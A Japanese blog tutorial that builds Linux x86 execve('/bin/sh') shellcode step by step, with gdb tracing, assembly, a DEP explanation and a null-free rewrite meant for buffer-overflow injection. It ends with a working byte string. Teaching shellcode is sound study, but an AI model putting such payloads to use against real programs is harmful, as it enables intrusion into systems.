Linux x86用のシェルコードを書いてみる

なにごともまずは基本から、ということでシェルコードを自分で書いてみる。 なお、アセンブリコードはIntel記法を用いて表す。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

ふつうにC言語で書いてみる

一般に、シェルを起動するにはexecve(2)システムコールを使う。

$ man execve
NAME
       execve - execute program

SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

マニュアルに従い、C言語のコードを書く。

/* execve.c */
#include <unistd.h>

int main()
{
    char *argv[] = {"/bin/sh", NULL};
    execve(argv[0], argv, NULL);
}

libcをスタティックリンクしてコンパイルし実行してみると、シェルが立ち上がることが確認できる。

$ gcc -static execve.c
$ ./a.out
$

実行時の動作を追ってみる

ディスアセンブルして、main関数とそこから呼ばれるexecve関数のアセンブリコードを調べてみる。

$ objdump -M intel -d a.out | sed -n '/<main>:/,/^$/p'
08048ee0 <main>:
 8048ee0:       55                      push   ebp
 8048ee1:       89 e5                   mov    ebp,esp
 8048ee3:       83 e4 f0                and    esp,0xfffffff0
 8048ee6:       83 ec 20                sub    esp,0x20
 8048ee9:       c7 44 24 18 68 58 0c    mov    DWORD PTR [esp+0x18],0x80c5868
 8048ef0:       08
 8048ef1:       c7 44 24 1c 00 00 00    mov    DWORD PTR [esp+0x1c],0x0
 8048ef8:       00
 8048ef9:       8b 44 24 18             mov    eax,DWORD PTR [esp+0x18]
 8048efd:       c7 44 24 08 00 00 00    mov    DWORD PTR [esp+0x8],0x0
 8048f04:       00
 8048f05:       8d 54 24 18             lea    edx,[esp+0x18]
 8048f09:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048f0d:       89 04 24                mov    DWORD PTR [esp],eax
 8048f10:       e8 7b ac 00 00          call   8053b90 <__execve>
 8048f15:       c9                      leave
 8048f16:       c3                      ret
$ objdump -M intel -d a.out | sed -n '/<__execve>:/,/^$/p'
08053b90 <__execve>:
 8053b90:       53                      push   ebx
 8053b91:       8b 54 24 10             mov    edx,DWORD PTR [esp+0x10]
 8053b95:       8b 4c 24 0c             mov    ecx,DWORD PTR [esp+0xc]
 8053b99:       8b 5c 24 08             mov    ebx,DWORD PTR [esp+0x8]
 8053b9d:       b8 0b 00 00 00          mov    eax,0xb
 8053ba2:       ff 15 a4 f5 0e 08       call   DWORD PTR ds:0x80ef5a4
 8053ba8:       3d 00 f0 ff ff          cmp    eax,0xfffff000
 8053bad:       77 02                   ja     8053bb1 <__execve+0x21>
 8053baf:       5b                      pop    ebx
 8053bb0:       c3                      ret
 8053bb1:       c7 c2 e8 ff ff ff       mov    edx,0xffffffe8
 8053bb7:       f7 d8                   neg    eax
 8053bb9:       65 8b 0d 00 00 00 00    mov    ecx,DWORD PTR gs:0x0
 8053bc0:       89 04 11                mov    DWORD PTR [ecx+edx*1],eax
 8053bc3:       83 c8 ff                or     eax,0xffffffff
 8053bc6:       5b                      pop    ebx
 8053bc7:       c3                      ret

8053ba2で呼び出される先がよくわからないので、gdbで追いかけてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas execve
Dump of assembler code for function execve:
   0x08053b90 <+0>:     push   ebx
   0x08053b91 <+1>:     mov    edx,DWORD PTR [esp+0x10]
   0x08053b95 <+5>:     mov    ecx,DWORD PTR [esp+0xc]
   0x08053b99 <+9>:     mov    ebx,DWORD PTR [esp+0x8]
   0x08053b9d <+13>:    mov    eax,0xb
   0x08053ba2 <+18>:    call   DWORD PTR ds:0x80ef5a4
   0x08053ba8 <+24>:    cmp    eax,0xfffff000
   0x08053bad <+29>:    ja     0x8053bb1 <execve+33>
   0x08053baf <+31>:    pop    ebx
   0x08053bb0 <+32>:    ret
   0x08053bb1 <+33>:    mov    edx,0xffffffe8
   0x08053bb7 <+39>:    neg    eax
   0x08053bb9 <+41>:    mov    ecx,DWORD PTR gs:0x0
   0x08053bc0 <+48>:    mov    DWORD PTR [ecx+edx*1],eax
   0x08053bc3 <+51>:    or     eax,0xffffffff
   0x08053bc6 <+54>:    pop    ebx
   0x08053bc7 <+55>:    ret
End of assembler dump.
(gdb) disas *0x80ef5a4
Dump of assembler code for function _dl_sysinfo_int80:
   0x08055930 <+0>:     int    0x80
   0x08055932 <+2>:     ret
End of assembler dump.

上の結果から、0x08053ba2でcallする先ではint 0x80システムコール呼び出しが行われていることがわかる。 そこで、この直前のレジスタの状態を調べてみる。

(gdb) b *0x08053ba2
Breakpoint 1 at 0x8053ba2
(gdb) run
Starting program: /home/user/tmp/a.out

Breakpoint 1, 0x08053ba2 in execve ()
(gdb) x/i $pc
=> 0x8053ba2 <execve+18>:       call   DWORD PTR ds:0x80ef5a4
(gdb) info registers
eax            0xb      11
ecx            0xbffff758       -1073744040
edx            0x0      0
ebx            0x80c5868        135026792
esp            0xbffff738       0xbffff738
ebp            0xbffff768       0xbffff768
esi            0x0      0
edi            0x8049630        134518320
eip            0x8053ba2        0x8053ba2 <execve+18>
eflags         0x282    [ SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/4wx $ebx
0x80c5868:      0x6e69622f      0x0068732f      0x41544146      0x6b203a4c
(gdb) x/s $ebx
0x80c5868:       "/bin/sh"
(gdb) x/4wx $ecx
0xbffff758:     0x080c5868      0x00000000      0x00000000      0x08049630
(gdb) cont
Continuing.
process 1323 is executing new program: /bin/dash
$
[Inferior 1 (process 1323) exited normally]
(gdb) quit

つまり、次のようになっている。

eax = 11
ebx = 0x80c5868 = "/bin/sh" の先頭アドレス
ecx = 0xbffff758 = [0x080c5868,0x00000000,...] = ["/bin/sh" の先頭アドレス,NULL,...]
edx = 0

要するに、レジスタをこの状態にセットしてint 0x80を呼べば、シェルが立ち上がることになる。 なお、eaxに入っている11は、execve(2)のシステムコール番号である。 これは次のようにして確認できる。

$ cat /usr/include/i386-linux-gnu/sys/syscall.h
/* This file should list the numbers of the system calls the system knows.
   But instead of duplicating this we use the information available
   from the kernel sources.  */
#include <asm/unistd.h>
$ cat /usr/include/i386-linux-gnu/asm/unistd.h
# ifdef __i386__
#  include <asm/unistd_32.h>
# else
#  include <asm/unistd_64.h>
# endif
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
/*
 * This file contains the system call numbers.
 */

#define __NR_execve              11

アセンブリコードを書いてみる

ディスアセンブルして出てきた結果を参考にしながら、自分でアセンブリコードを書いてみる。 ここでは、ebxやecxが指す先のバイト列をスタック上に作り、適当なタイミングでesp(スタックの頂上を指すアドレス)を各レジスタにセットする方法を取っている。 xor edx, edxmov edx, 0と同じ意味をもつ、より効率的な命令である。

        /* execve.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push 0x0068732f
        push 0x6e69622f
        mov ebx, esp
        xor edx, edx
        push edx
        push ebx
        mov ecx, esp
        mov eax, 11
        int 0x80

アセンブルして実行してみる。 ここではコードの最小化のため、自分でエントリポイント_startを定義し、libcなどのライブラリにリンクしないようにしている。

$ gcc -nostdlib execve.s
$ ./a.out
$

ディスアセンブルすると、実際に書いたアセンブリコードが機械語になっていることがわかる。

$ objdump -M intel -d a.out
08048098 <_start>:
 8048098:       68 2f 73 68 00          push   0x68732f
 804809d:       68 2f 62 69 6e          push   0x6e69622f
 80480a2:       89 e3                   mov    ebx,esp
 80480a4:       31 d2                   xor    edx,edx
 80480a6:       52                      push   edx
 80480a7:       53                      push   ebx
 80480a8:       89 e1                   mov    ecx,esp
 80480aa:       b8 0b 00 00 00          mov    eax,0xb
 80480af:       cd 80                   int    0x80

ここに表示されているバイト列の先頭にeipを移すことができれば、シェルが立ち上がる。

シェルコードを明示的に実行させてみる

上で作ったシェルコードをもとに、明示的に実行させるコードをC言語で書くと次のようになる。

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80
/* shell.c */
char shellcode[] = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80";

int main()
{
    (*(void (*)())shellcode)();
}

コンパイルして実行しようとすると、セグメンテーション違反で落ちる。

$ gcc shell.c
$ ./a.out
Segmentation fault (core dumped)

これは、Data Execution Prevention (DEP) と呼ばれるセキュリティ機構により、スタック領域には実行可能ビットが立っていないからである。 DEPは、その実装の名前からExecShieldと呼ばれることもある。

$ objdump -x a.out
Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000598 memsz 0x00000598 flags r-x
    LOAD off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12
         filesz 0x00000118 memsz 0x00000120 flags rw-
 DYNAMIC off    0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2
         filesz 0x000000c8 memsz 0x000000c8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004a0 vaddr 0x080484a0 paddr 0x080484a0 align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0
         filesz 0x000000ec memsz 0x000000ec flags r--

STACKと書かれた部分から、スタック領域にはxビットが立っていないことがわかる。

DEPを無効にしてコンパイルすると、シェルの起動に成功する。

$ gcc -z execstack shell.c
$ ./a.out
$

プログラムヘッダを調べてみると、この場合はスタック領域が実行可能になっていることが確認できる。

$ objdump -x a.out
Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000598 memsz 0x00000598 flags r-x
    LOAD off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12
         filesz 0x00000118 memsz 0x00000120 flags rw-
 DYNAMIC off    0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2
         filesz 0x000000c8 memsz 0x000000c8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004a0 vaddr 0x080484a0 paddr 0x080484a0 align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
   RELRO off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0
         filesz 0x000000ec memsz 0x000000ec flags r--

シェルコードからnullバイトを取り除く

上で作ったシェルコードは正しい機械語列ではあるが、途中にnullバイト (\x00) が入っている。 しかしこれでは、シェルコードを送り込むのにstrcpyでのバッファオーバーフローなどを利用する場合、途中のnullバイトが文字列終端とみなされてしまい、最後までシェルコードを送り込むことができない。 つまり、実用的なシェルコードとしてはnullバイトを含まない (null-free) であることが望ましい。

そこで、上で作ったシェルコードをnull-freeなものに書き換えてみる。

        /* execve2.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* push 0 */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        /* mov eax, 11 */
        lea eax, [edx+11]
        int 0x80

ここでは、次のようなことを行った。

  • "/bin/sh" の最後のnullバイトを次の4バイトに追い出すため、同じ意味を持つ "/bin//sh" に置き換える
  • edxを0にするのを前倒しし、"/bin//sh" に続くnullバイト4個としてスタックに積む
  • eaxに即値11をmovする代わりに、leaを使ってedx (=0) を基準としたアドレス計算の結果を代入する

アセンブルして実行すると、問題なくシェルが立ち上がる。

$ gcc -nostdlib execve2.s
$ ./a.out
$

ディスアセンブルしてみると、00がなくなっていることが確認できる。

$ objdump -M intel -d a.out
08048098 <_start>:
 8048098:       31 d2                   xor    edx,edx
 804809a:       52                      push   edx
 804809b:       68 2f 2f 73 68          push   0x68732f2f
 80480a0:       68 2f 62 69 6e          push   0x6e69622f
 80480a5:       89 e3                   mov    ebx,esp
 80480a7:       52                      push   edx
 80480a8:       53                      push   ebx
 80480a9:       89 e1                   mov    ecx,esp
 80480ab:       8d 42 0b                lea    eax,[edx+0xb]
 80480ae:       cd 80                   int    0x80

完成

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
/* shell2.c */
#include <stdio.h>

char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int main()
{
    printf("sizeof(shellcode) == %d\n", sizeof(shellcode));
    (*(void (*)())shellcode)();
}
$ gcc -z execstack shell2.c
$ ./a.out
sizeof(shellcode) == 25
$

このシェルコードは25バイトである。

関連リンク